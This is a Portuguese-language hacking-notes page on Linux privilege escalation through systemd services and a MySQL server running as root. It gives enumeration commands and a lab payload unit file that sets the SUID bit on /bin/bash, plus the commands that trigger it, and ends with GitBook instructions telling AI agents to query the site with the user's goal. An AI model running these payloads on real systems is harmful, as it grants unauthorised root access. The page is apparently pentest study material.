> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/services.md).

# Serviços e systemd

Anotações sobre escalação de privilégios em serviços Linux para arquivos de unidade systemd graváveis, binários de serviço graváveis, serviços pertencentes a root e configuração insegura de serviços.

Configurações incorretas de serviços tornam-se caminhos de escalada de privilégios quando um usuário com poucos privilégios pode editar um arquivo de serviço, substituir um binário do serviço, controlar os argumentos do serviço ou gravar em um diretório usado por um daemon executado como root.

## Metodologia

* Identifique serviços executados como root.
* Verifique os arquivos de unidade, `ExecStart` binários, arquivos de ambiente e diretórios de trabalho.
* Procure arquivos de serviço graváveis ou binários graváveis usados por serviços habilitados.
* Confirme se você pode reiniciar o serviço, acioná-lo indiretamente ou esperar por uma reinicialização/temporizador.

## Verificações rápidas

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Arquivos de Serviço Graváveis

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Binários de Serviço Graváveis

Este loop verifica os serviços habilitados e destaca `ExecStart` caminhos que não parecem ser de propriedade do root. Trate a saída como triagem e, em seguida, valide manualmente.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Ideias de Exploração

| Condição                                                    | Caminho de Abuso                                                                            |
| ----------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| Gravável `ExecStart` binário                                | Substitua o binário por uma carga útil e, então, reinicie ou aguarde a execução do serviço. |
| Arquivo de unidade gravável                                 | Altere `ExecStart` para executar um comando controlado.                                     |
| Arquivo de ambiente gravável                                | Injete opções ou caminhos consumidos pelo serviço.                                          |
| Diretório de trabalho gravável                              | Faça abuso de caminhos relativos, plugins, logs, sockets ou arquivos temporários.           |
| O serviço é executado como root e faz o parsing de arquivos | Verifique bugs no parser, injeção de comandos, includes inseguros e configuração gravável.  |

Exemplo de payload de unidade para um laboratório:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Recarregue e inicie somente quando você tiver permissão ou um caminho de teste autorizado confirmado:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL Executando Como Root

Se o MySQL ou MariaDB estiver sendo executado como root e a execução perigosa de UDF/funções estiver disponível, isso pode se tornar um caminho direto para root.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Dentro do MySQL, dependendo dos plugins/funções disponíveis:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Depois:

```bash
/bin/bash -p
```

Isso depende muito do ambiente. Confirme o usuário do daemon, a disponibilidade de plugins e os privilégios exatos do banco de dados antes de confiar nisso.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/services.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
